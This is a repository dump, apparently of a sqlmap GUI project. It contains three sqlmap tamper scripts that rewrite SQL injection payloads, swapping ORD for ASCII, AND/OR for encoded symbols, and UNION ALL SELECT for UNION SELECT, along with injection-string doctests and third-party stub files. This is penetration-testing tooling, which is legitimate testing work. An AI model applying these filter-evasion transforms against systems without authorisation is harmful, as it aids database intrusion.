| """ 19 | Replaces ORD() occurences with equivalent ASCII() calls 20 | 21 | Requirement: 22 | * MySQL 23 | 24 | >>> tamper("ORD('42')") 25 | "ASCII('42')" 26 | """ 27 | 28 | retVal = payload 29 | 30 | if payload: 31 | retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload) 32 | 33 | return retVal 34 | -------------------------------------------------------------------------------- /GUI-EN/tamper/symboliclogical.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | import re 9 | 10 | from lib.core.enums import PRIORITY 11 | 12 | __priority__ = PRIORITY.LOWEST 13 | 14 | def dependencies(): 15 | pass 16 | 17 | def tamper(payload, **kwargs): 18 | """ 19 | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) 20 | 21 | >>> tamper("1 AND '1'='1") 22 | "1 %26%26 '1'='1" 23 | """ 24 | 25 | retVal = payload 26 | 27 | if payload: 28 | retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) 29 | 30 | return retVal 31 | -------------------------------------------------------------------------------- /GUI-EN/tamper/unionalltounion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.enums import PRIORITY 9 | 10 | __priority__ = PRIORITY.HIGHEST 11 | 12 | def dependencies(): 13 | pass 14 | 15 | def tamper(payload, **kwargs): 16 | """ 17 | Replaces instances of UNION ALL SELECT with UNION SELECT counterpart 18 | 19 | >>> tamper('-1 UNION ALL SELECT') 20 | '-1 UNION SELECT' 21 | """ 22 | 23 | return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload 24 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/thirdparty/__init__.py -------------------------------------------------------------------------------- /GUI-EN/thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/thirdparty/ansistrm/__init__.py -------------------------------------------------------------------------------- /GUI-EN/thirdparty/bottle/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/chardet/version.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module exists only to simplify retrieving the version number of chardet 3 | from within setup.py and from chardet subpackages. 4 | 5 | :author: Dan Blanchard (dan.blanchard@gmail.com) 6 | """ 7 | 8 | __version__ = "3.0.4" 9 | VERSION = __version__.split('.') 10 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/clientform/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/thirdparty/clientform/__init__.py -------------------------------------------------------------------------------- /GUI-EN/thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.7' 7 | 8 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/identywaf/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT 4 | # See the file 'LICENSE' for copying permission 5 | 6 | # The above copyright notice and this permission notice shall be included in 7 | # all copies or substantial portions of the Software. 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/keepalive/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright 2002-2003 Michael D. Stenner 4 | # 5 | # This program is free software: you can redistribute it and/or modify it 6 | # under the terms of the GNU Lesser General Public License as published 7 | # by the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU Lesser General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU Lesser General Public License 16 | # along with this program. If not, see . 17 | # 18 | 19 | pass 20 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/magic/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/thirdparty/magic/__init__.py -------------------------------------------------------------------------------- /GUI-EN/thirdparty/multipart/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/thirdparty/multipart/__init__.py -------------------------------------------------------------------------------- /GUI-EN/thirdparty/odict/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | if sys.version_info[:2] >= (2, 7): 6 | from collections import OrderedDict 7 | else: 8 | from ordereddict import OrderedDict 9 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/pydes/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright 2009 Todd Whiteman 4 | # 5 | # This program is free software: you can redistribute it and/or modify it 6 | # under the terms of the GNU Lesser General Public License as published 7 | # by the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU Lesser General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU Lesser General Public License 16 | # along with this program. If not, see . 17 | # 18 | 19 | pass 20 | -------------------------------------------------------------------------------- /GUI-EN/thirdparty/socks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/thirdparty/socks/__init__.py -------------------------------------------------------------------------------- /GUI-EN/thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/honmashironeko/sqlmap-gui/c7e84e71bc00826d578705371a499a42251fe82c/GUI-EN/thirdparty/termcolor/__init__.py -------------------------------------------------------------------------------- /GUI-EN/thirdparty/wininetpton/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Copyright Ryan Vennell 4 | # 5 | # This software released into the public domain. Anyone is free to copy, 6 | # modify, publish, use, compile, sell, or distribute this software, 7 | # either in source code form or as a compiled binary, for any purpose, 8 | # commercial or non-commercial, and by any means. 9 | 10 | pass 11 | --------------------------------------------------------------------------------